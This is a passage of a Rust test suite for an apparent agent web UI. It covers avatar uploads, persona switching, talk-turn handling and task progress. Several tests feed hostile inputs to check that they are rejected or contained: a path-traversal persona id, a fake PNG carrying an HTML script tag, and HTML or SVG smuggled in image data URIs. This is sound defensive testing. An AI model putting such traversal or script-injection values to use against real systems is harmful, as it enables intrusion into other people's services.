15191            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15192            assert_eq!(
15193                effective.as_deref(),
15194                Some(if expected == "builtin" { "" } else { icon })
15195            );
15196        }
15197    }
15198
15199    #[tokio::test]
15200    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15201        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15202        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15203            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15204        ))
15205        .await;
15206        let target = |id: Option<&str>| AvatarSettingsQuery {
15207            persona: id.map(str::to_owned),
15208            ..Default::default()
15209        };
15210        let original_config = config_for(&repo).await.unwrap();
15211        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15212        let original_prompt = persona::section_for(&original_persona, None);
15213        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15214            .await
15215            .unwrap()
15216            .0;
15217        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15218            let _ = avatar_settings_put(
15219                State(ui.clone()),
15220                Query(target(persona)),
15221                Json(MagiIconUpload { icon: icon.into() }),
15222            )
15223            .await
15224            .unwrap();
15225            let path = avatar_setting_path(home.path(), persona);
15226            assert!(path.starts_with(home.path().join("avatars")));
15227            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15228            for bad in [
15229                "/tmp/image.png".to_owned(),
15230                "data:image/png;base64,!!!!".to_owned(),
15231                "data:image/png;base64,PGh0bWw+".to_owned(),
15232                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15233                format!(
15234                    "data:image/png;base64,{}",
15235                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15236                ),
15237            ] {
15238                assert!(
15239                    avatar_settings_put(
15240                        State(ui.clone()),
15241                        Query(target(persona)),
15242                        Json(MagiIconUpload { icon: bad })
15243                    )
15244                    .await
15245                    .is_err()
15246                );
15247                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15248            }
15249        }
15250        assert!(read_magi_icon(home.path()).is_none());
15251        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15252        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15253            .await
15254            .unwrap()
15255            .0;
15256        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15257        assert_ne!(
15258            before
15259                .personas
15260                .iter()
15261                .find(|p| p.id == "magi")
15262                .unwrap()
15263                .avatar,
15264            after
15265                .personas
15266                .iter()
15267                .find(|p| p.id == "magi")
15268                .unwrap()
15269                .avatar
15270        );
15271        let restarted = Arc::new(Ui::new(
15272            Queue::at(home.path().join("queue")),
15273            Questions::at(home.path().join("questions")),
15274            Talks::at(home.path().join("talks")),
15275            home.path().join("runs"),
15276            home.path().to_owned(),
15277            repo,
15278        ));
15279        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15280            .await
15281            .unwrap()
15282            .0;
15283        assert!(
15284            catalog["personas"]
15285                .as_array()
15286                .unwrap()
15287                .iter()
15288                .any(|p| p["id"] == "../custom/日本語")
15289        );
15290        for expected in ["custom", "default", "rei"] {
15291            assert!(
15292                catalog["personas"]
15293                    .as_array()
15294                    .unwrap()
15295                    .iter()
15296                    .any(|p| p["id"] == expected)
15297            );
15298        }
15299        let response =
15300            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15301        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15302        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15303            .await
15304            .unwrap();
15305        assert_eq!(
15306            effective_persona_icon(home.path(), "rei", Some(icon)),
15307            Some(String::new())
15308        );
15309        let response = talk_avatar(
15310            State(restarted.clone()),
15311            Path(id.clone()),
15312            Query(AvatarQuery {
15313                persona: Some("rei".into()),
15314                ..Default::default()
15315            }),
15316        )
15317        .await
15318        .unwrap();
15319        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15320        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15321            .await
15322            .unwrap()
15323            .0;
15324        assert_ne!(
15325            after
15326                .personas
15327                .iter()
15328                .find(|p| p.id == "rei")
15329                .unwrap()
15330                .avatar,
15331            reset
15332                .personas
15333                .iter()
15334                .find(|p| p.id == "rei")
15335                .unwrap()
15336                .avatar
15337        );
15338        let mut inherit = target(Some("rei"));
15339        inherit.inherit = Some("1".into());
15340        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15341            .await
15342            .unwrap();
15343        assert_eq!(
15344            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15345            Some(icon)
15346        );
15347        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15348            .await
15349            .unwrap();
15350        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15351        assert_eq!(
15352            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15353            Some(icon)
15354        );
15355        // Display changes never rewrite the conversation or its prompt-bearing config.
15356        let cfg = config_for(&ui.repo).await.unwrap();
15357        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15358        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15359        assert!(!original_prompt.contains("data:image"));
15360        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15361        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15362        assert!(!stored.contains("data:image"));
15363        let mut orphan = ui.talks.get(&id).unwrap();
15364        orphan.persona = "../custom/日本語".into();
15365        let view = TalkView::with_config(
15366            orphan,
15367            false,
15368            Some(&cfg),
15369            home.path(),
15370            &id_links::IndexCache::default(),
15371        );
15372        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15373    }
15374
15375    #[tokio::test]
15376    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15377        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15378        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15379        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15380        let _ = magi_icon_put(
15381            State(ui.clone()),
15382            Json(MagiIconUpload { icon: icon.into() }),
15383        )
15384        .await
15385        .unwrap();
15386        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15387        assert_ne!(original, changed);
15388        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15389        let response = magi_avatar(
15390            State(ui.clone()),
15391            Query(AvatarQuery {
15392                persona: None,
15393                builtin: None,
15394            }),
15395        )
15396        .await;
15397        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15398        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15399        assert_eq!(
15400            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15401            "nosniff"
15402        );
15403        for bad in [
15404            "data:image/png;base64,PGh0bWw+".to_owned(),
15405            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15406            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15407        ] {
15408            assert!(save_magi_icon(home.path(), &bad).is_err());
15409            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15410        }
15411        // Re-opened server state reads the same independent home file.
15412        let restarted = Arc::new(Ui::new(
15413            Queue::at(home.path().join("queue")),
15414            Questions::at(home.path().join("questions")),
15415            Talks::at(home.path().join("talks")),
15416            home.path().join("runs"),
15417            home.path().to_path_buf(),
15418            repo,
15419        ));
15420        assert_eq!(
15421            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15422            changed
15423        );
15424        let view = TalkView::with_config(
15425            restarted.talks.get(&id).unwrap(),
15426            false,
15427            None,
15428            &restarted.home,
15429            &restarted.references,
15430        );
15431        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15432        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15433        let response = magi_avatar(
15434            State(ui.clone()),
15435            Query(AvatarQuery {
15436                persona: None,
15437                builtin: None,
15438            }),
15439        )
15440        .await;
15441        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15442            .await
15443            .unwrap();
15444        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15445        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15446        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15447        let _ = magi_icon_delete(State(ui)).await.unwrap();
15448    }
15449
15450    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15451    async fn avatar(
15452        ui: &Arc<Ui>,
15453        id: &str,
15454        persona: Option<&str>,
15455        builtin: bool,
15456    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15457        let res = talk_avatar(
15458            State(Arc::clone(ui)),
15459            Path(id.to_owned()),
15460            Query(AvatarQuery {
15461                persona: persona.map(str::to_owned),
15462                builtin: builtin.then(|| "1".to_owned()),
15463            }),
15464        )
15465        .await
15466        .expect("an avatar is never an error response");
15467        let h = res.headers();
15468        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15469        let nosniff = h
15470            .get(header::X_CONTENT_TYPE_OPTIONS)
15471            .is_some_and(|v| v == "nosniff");
15472        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15473        let status = res.status();
15474        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15475            .await
15476            .expect("body")
15477            .to_vec();
15478        (status, ct, nosniff, csp, body)
15479    }
15480
15481    fn tiny_png() -> Vec<u8> {
15482        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15483        b.extend_from_slice(&[0u8; 32]);
15484        b
15485    }
15486
15487    #[tokio::test]
15488    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15489        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15490        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15491        assert_eq!(res.status(), StatusCode::OK);
15492        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15493        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15494        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15495        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15496        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15497            .await
15498            .unwrap();
15499        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15500        assert_ne!(
15501            persona_icon::operator_svg(),
15502            persona_icon::builtin_svg("default")
15503        );
15504    }
15505
15506    #[tokio::test]
15507    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15508        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15509        for p in [
15510            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15511        ] {
15512            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15513            assert_eq!(status, StatusCode::OK, "{p}");
15514            assert_eq!(ct, "image/svg+xml", "{p}");
15515            assert!(nosniff && csp, "{p}");
15516            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15517        }
15518        // No `persona` means the conversation's own; unknown ones fall back.
15519        let own = avatar(&ui, &id, None, false).await;
15520        let default = avatar(&ui, &id, Some("default"), false).await;
15521        assert_eq!(own.4, default.4);
15522        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15523        assert_eq!(unknown.1, "image/svg+xml");
15524    }
15525
15526    #[tokio::test]
15527    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15528        let dir = TempDir::new().expect("icons");
15529        let good = dir.path().join("good.png");
15530        std::fs::write(&good, tiny_png()).unwrap();
15531        let spoof = dir.path().join("spoof.png");
15532        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15533        let big = dir.path().join("big.png");
15534        let mut bytes = tiny_png();
15535        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15536        std::fs::write(&big, bytes).unwrap();
15537        let missing = dir.path().join("missing.png");
15538        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15539        let extra = format!(
15540            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15541             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15542             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15543             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15544             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15545             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15546            uri(&good),
15547            uri(&spoof),
15548            uri(&big),
15549            uri(&missing),
15550        );
15551        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15552
15553        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15554        assert_eq!(
15555            (status, ct.as_str(), nosniff),
15556            (StatusCode::OK, "image/png", true)
15557        );
15558        assert_eq!(body, tiny_png());
15559        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15560        assert_eq!(ct, "image/png", "data URI");
15561
15562        for p in ["misato", "asuka", "shinji", "magi"] {
15563            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15564            assert_eq!(
15565                (status, ct.as_str(), csp),
15566                (StatusCode::OK, "image/svg+xml", true),
15567                "{p}"
15568            );
15569            assert!(body.starts_with(b"<svg"), "{p}");
15570        }
15571        // The page's own retry skips the icon.
15572        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15573        assert_eq!(ct, "image/svg+xml");
15574    }
15575
15576    #[tokio::test]
15577    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15578        let oversized = format!(
15579            "data:image/png;base64,{}",
15580            "A".repeat(persona_icon::ICON_MAX_BYTES)
15581        );
15582        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15583            let extra = format!(
15584                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15585            );
15586            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15587            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15588                .await
15589                .expect("detail with invalid icon");
15590            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15591            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15592            assert_eq!(status, StatusCode::OK);
15593            assert_eq!(ct, "image/svg+xml");
15594            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15595            let Json(view) = talk_persona(
15596                State(Arc::clone(&ui)),
15597                Path(id.clone()),
15598                Json(TalkPersona {
15599                    persona: "custom".into(),
15600                }),
15601            )
15602            .await
15603            .expect("persona switch with invalid icon");
15604            assert_eq!(view.talk.persona, "custom");
15605            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15606        }
15607    }
15608
15609    #[tokio::test]
15610    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15611        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15612        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15613        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15614        assert_eq!(
15615            (status, ct.as_str(), nosniff, csp),
15616            (StatusCode::OK, "image/svg+xml", true, true)
15617        );
15618    }
15619
15620    #[tokio::test]
15621    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15622        let (_t, _h, ui, id, _repo) =
15623            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15624        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15625            .await
15626            .expect("detail");
15627        let json = serde_json::to_string(&detail).unwrap();
15628        assert!(
15629            !json.contains("secret"),
15630            "the icon setting must not leak: {json}"
15631        );
15632        assert!(
15633            detail
15634                .view
15635                .persona_avatar
15636                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15637        );
15638        assert_eq!(
15639            detail.view.operator_avatar,
15640            format!(
15641                "/avatars/operator.svg?v={}",
15642                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15643            )
15644        );
15645        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15646        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15647        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15648        assert!(rei.avatar.contains("persona=rei&v="));
15649        assert_ne!(
15650            rei.avatar.split("&v=").nth(1),
15651            plain.avatar.split("&v=").nth(1)
15652        );
15653    }
15654
15655    #[tokio::test]
15656    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15657        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15658        let cfg = config_for(&repo).await.unwrap();
15659        for arrived in [false, true] {
15660            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15661            let observed = ui.queued_generation(&id);
15662            let talk = ui.talks.get(&id).unwrap();
15663            if arrived {
15664                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15665            }
15666            let mut settling = std::pin::pin!(settle_settings_turn(
15667                talk,
15668                ui.talks.clone(),
15669                cfg.clone(),
15670                id.clone(),
15671                turn,
15672                observed
15673            ));
15674            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15675            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15676            assert_eq!(first.is_pending(), arrived);
15677            if arrived {
15678                assert!(!settling.await);
15679            }
15680            assert!(!ui.is_thinking(&id));
15681        }
15682    }
15683
15684    #[tokio::test]
15685    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15686        let tmp = TempDir::new().expect("tempdir");
15687        let repo = tmp.path().join("repo");
15688        std::fs::create_dir_all(&repo).expect("repo dir");
15689        std::fs::write(
15690            repo.join("magi.toml"),
15691            format!(
15692                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15693            ),
15694        )
15695        .expect("write magi.toml");
15696        let home = TempDir::new().expect("temp home");
15697        let talks = Talks::at(home.path().join("talks"));
15698        let ui = Arc::new(
15699            Ui::new(
15700                Queue::at(home.path().join("queue")),
15701                Questions::at(home.path().join("questions")),
15702                talks.clone(),
15703                home.path().join("runs"),
15704                home.path().to_path_buf(),
15705                repo.clone(),
15706            )
15707            .with_worktrees_root(home.path().join("wt")),
15708        );
15709        let cfg = config_for(&repo).await.expect("discover config");
15710        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15711        let id = talk.id.clone();
15712        let call = |persona: &str| {
15713            talk_persona(
15714                State(Arc::clone(&ui)),
15715                Path(id.clone()),
15716                Json(TalkPersona {
15717                    persona: persona.to_owned(),
15718                }),
15719            )
15720        };
15721
15722        let unknown = call("nobody").await.expect_err("unknown persona");
15723        assert_eq!(
15724            unknown.status,
15725            StatusCode::BAD_REQUEST,
15726            "{}",
15727            unknown.message
15728        );
15729
15730        {
15731            // Nothing refused so far took a claim, so the guard is free to take
15732            // and holding it is what makes the talk busy.
15733            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15734            let busy = call("rei").await.expect_err("busy talk");
15735            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15736            assert!(
15737                busy.message.contains("a talk turn is running"),
15738                "{}",
15739                busy.message
15740            );
15741            drop(guard);
15742        }
15743        assert_eq!(talks.get(&id).expect("reload").persona, "");
15744
15745        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15746        assert_eq!(view.talk.persona, "gendo");
15747        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15748        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15749        // No intervening I/O or sleep may be needed before another change.
15750        for chosen in ["default", "gendo", "rei", "gendo"] {
15751            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15752            assert!(!view.thinking);
15753            assert!(!ui.is_thinking(&id));
15754        }
15755
15756        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15757            .await
15758            .expect("detail");
15759        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15760        assert_eq!(ids.first(), Some(&"default"));
15761        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15762
15763        let Json(view) = call("default").await.expect("back to default");
15764        assert_eq!(view.talk.persona, "");
15765
15766        let mut closed = talks.get(&id).expect("reload");
15767        talk::close(&mut closed, &talks).expect("close");
15768        let refused = call("rei").await.expect_err("closed talk");
15769        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15770        assert!(
15771            refused.message.contains("takes no more turns"),
15772            "{}",
15773            refused.message
15774        );
15775    }
15776
15777    #[tokio::test]
15778    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15779        let f = Fixture::start().await;
15780        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15781        let queue = f.queue();
15782        let mut mine = Task::new(
15783            "rename the loader".to_owned(),
15784            "rename the loader".to_owned(),
15785            PathBuf::from("/repo/magi"),
15786            Source::Agent {
15787                run: talk_id.clone(),
15788                node: "chat".to_owned(),
15789            },
15790        );
15791        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15792        assert_eq!(empty["task_progress"]["state"], "none");
15793        assert_eq!(empty["task_progress"]["total"], 0);
15794        queue.put(&mut mine).expect("file the task");
15795        let mut theirs = Task::new(
15796            "unrelated".to_owned(),
15797            "unrelated".to_owned(),
15798            PathBuf::from("/repo/magi"),
15799            Source::Human,
15800        );
15801        // A later task linked through origin_chat alone is outside this list.
15802        theirs.origin_chat = Some(talk_id.clone());
15803        queue.put(&mut theirs).expect("file the task");
15804
15805        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15806        assert_eq!(res.status, 200, "{}", res.body);
15807        let body = res.json();
15808        assert_eq!(
15809            body["status"], "open",
15810            "filing a task does not close a talk"
15811        );
15812        let tasks = body["tasks"].as_array().expect("tasks array");
15813        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15814        assert_eq!(tasks[0]["id"], mine.id);
15815        for status in [
15816            TaskStatus::Queued,
15817            TaskStatus::Running,
15818            TaskStatus::Held,
15819            TaskStatus::Failed,
15820            TaskStatus::Blocked,
15821            TaskStatus::Parked,
15822            TaskStatus::Done,
15823            TaskStatus::Queued,
15824        ] {
15825            mine.status = status;
15826            queue.put(&mut mine).expect("update status");
15827            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15828            let progress = &detail["task_progress"];
15829            assert_eq!(progress["total"], 1);
15830            assert_eq!(progress["counts"][status.as_str()], 1);
15831            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15832            assert_eq!(detail["status"], "open", "completion never closes the chat");
15833            if status == TaskStatus::Done {
15834                assert_eq!(progress["state"], "complete");
15835                assert_eq!(progress["done"], 1);
15836                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15837            } else {
15838                assert_eq!(progress["state"], "incomplete");
15839                assert_eq!(progress["done"], 0);
15840                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15841            }
15842        }
15843    }
15844
15845    #[test]
15846    fn talk_task_progress_counts_mixed_statuses() {
15847        let mut tasks: Vec<_> = [
15848            TaskStatus::Queued,
15849            TaskStatus::Running,
15850            TaskStatus::Held,
15851            TaskStatus::Failed,
15852            TaskStatus::Blocked,
15853            TaskStatus::Parked,
15854            TaskStatus::Done,
15855        ]
15856        .into_iter()
15857        .map(|status| {
15858            let mut task = Task::new(
15859                "task".into(),
15860                "task".into(),
15861                PathBuf::from("/repo"),
15862                Source::Human,
15863            );
15864            task.status = status;
15865            task
15866        })
15867        .collect();
15868        let progress = talk_task_progress(&tasks);
15869        assert_eq!(progress.state, "incomplete");
15870        assert_eq!(progress.total, 7);
15871        assert_eq!(progress.done, 1);
15872        assert_eq!(progress.unfinished_ids.len(), 6);
15873        assert!(progress.counts.values().all(|count| *count == 1));
15874        assert_eq!(
15875            progress.unfinished_ids,
15876            tasks[..6]
15877                .iter()
15878                .map(|task| task.id.clone())
15879                .collect::<Vec<_>>()
15880        );
15881
15882        for task in &mut tasks {
15883            task.status = TaskStatus::Done;
15884        }
15885        let complete = talk_task_progress(&tasks);
15886        assert_eq!(complete.state, "complete");
15887        assert_eq!(complete.done, 7);
15888        assert!(complete.unfinished_ids.is_empty());
15889        tasks[0].status = TaskStatus::Queued;
15890        let requeued = talk_task_progress(&tasks);
15891        assert_eq!(requeued.state, "incomplete");
15892        assert_eq!(requeued.done, 6);
15893        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15894
15895        let empty = talk_task_progress(&[]);
15896        assert_eq!(empty.state, "none");
15897        assert_eq!(empty.total, 0);
15898        assert_eq!(empty.done, 0);
15899        assert!(empty.unfinished_ids.is_empty());
15900        assert!(empty.counts.values().all(|count| *count == 0));
15901    }
15902
15903    #[tokio::test]
15904    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15905        let (_tmp, _repo, f) = talk_fixture().await;
15906        let id = f.post("/api/talks", None).await.json()["id"]
15907            .as_str()
15908            .expect("id")
15909            .to_owned();
15910
15911        let res = f
15912            .post(
15913                &format!("/api/talks/{id}/say"),
15914                Some(r#"{"text":"what does the queue module do?"}"#),
15915            )
15916            .await;
15917        assert_eq!(res.status, 202, "{}", res.body);
15918        let queued = res.json();
15919        let turns = queued["turns"].as_array().expect("turns array");
15920        assert_eq!(
15921            turns.len(),
15922            1,
15923            "the answer reflects only what is on disk the instant it is sent, \
15924             before the agent's turn - which can run for the whole of \
15925             `[graph] timeout_talk` - has a chance to land: {queued}"
15926        );
15927        assert_eq!(turns[0]["who"], "operator");
15928        assert_eq!(turns[0]["body"], "what does the queue module do?");
15929        assert_eq!(
15930            queued["thinking"], true,
15931            "the accepted response exposes the background turn claim: {queued}"
15932        );
15933
15934        let mut turns_after = 1;
15935        for _ in 0..SETTLE_STEPS {
15936            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15937            turns_after = detail["turns"].as_array().expect("turns array").len();
15938            if turns_after == 2 {
15939                break;
15940            }
15941            tokio::time::sleep(Duration::from_millis(10)).await;
15942        }
15943        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15944    }
15945
15946    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15947    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15948    /// guards against: `talk::record` used to return, and only *then* did the
15949    /// handler make a second, separate disk round trip before spawning the
15950    /// agent's reply task. A future dropped in that gap left a message
15951    /// recorded on disk with no reply task ever started and no way back short
15952    /// of a fresh message - and the gap was not even the whole story: *any*
15953    /// `.await` in this handler, including the very first one, is a point
15954    /// where a drop can land after the awaited work already finished but
15955    /// before this handler's own code resumes to act on it. `record` now
15956    /// runs inside the task `tokio::spawn` hands to the runtime before this
15957    /// handler ever awaits anything of its own again, so there is nothing
15958    /// left in *this* handler's future for a disconnect to interrupt between
15959    /// the message landing on disk and the reply task starting.
15960    ///
15961    /// A real socket disconnect cannot be relied on to land in the old gap
15962    /// from a test - over loopback, `talk_say` typically finishes before the
15963    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15964    /// same failure mode directly: it drops the task's future at whatever
15965    /// point it has reached, exactly what axum does to the handler future,
15966    /// without needing to win a real network race. Sweeping the delay before
15967    /// aborting samples a range of points the task's execution can be at,
15968    /// including where the old code sat waiting on its second disk round
15969    /// trip - confirmed by reverting this fix locally and watching this same
15970    /// sweep catch a talk stuck with the operator's turn recorded and no
15971    /// reply ever following.
15972    #[tokio::test]
15973    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15974        let tmp = TempDir::new().expect("tempdir");
15975        let repo = tmp.path().join("repo");
15976        std::fs::create_dir_all(&repo).expect("repo dir");
15977        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15978        let home = TempDir::new().expect("temp home");
15979        let talks = Talks::at(home.path().join("talks"));
15980        let ui = Arc::new(
15981            Ui::new(
15982                Queue::at(home.path().join("queue")),
15983                Questions::at(home.path().join("questions")),
15984                talks.clone(),
15985                home.path().join("runs"),
15986                home.path().to_path_buf(),
15987                repo.clone(),
15988            )
15989            .with_worktrees_root(home.path().join("wt")),
15990        );
15991        let cfg = config_for(&repo).await.expect("discover config");
15992
15993        for delay in 0..40u32 {
15994            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15995            let id = talk.id.clone();
15996
15997            let handler = tokio::spawn(talk_say(
15998                State(Arc::clone(&ui)),
15999                Path(id.clone()),
16000                Ok(Json(NewTalkTurn {
16001                    reply_to: None,
16002                    text: "what does the queue module do?".to_owned(),
16003                    attachments: Vec::new(),
16004                })),
16005            ));
16006            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16007            handler.abort();
16008            // Wait out the abort so the next iteration's talk does not race
16009            // this one's still-unwinding turn guard.
16010            let _ = handler.await;
16011
16012            let mut turns = 0;
16013            for _ in 0..SETTLE_STEPS {
16014                if let Ok(fresh) = talks.get(&id) {
16015                    turns = fresh.turns.len();
16016                    if turns != 1 {
16017                        break;
16018                    }
16019                }
16020                tokio::time::sleep(Duration::from_millis(10)).await;
16021            }
16022            assert_ne!(
16023                turns, 1,
16024                "delay {delay}: talk {id} recorded the operator's turn but \
16025                 the agent never answered - the reply task was never \
16026                 started after the handler future was dropped"
16027            );
16028        }
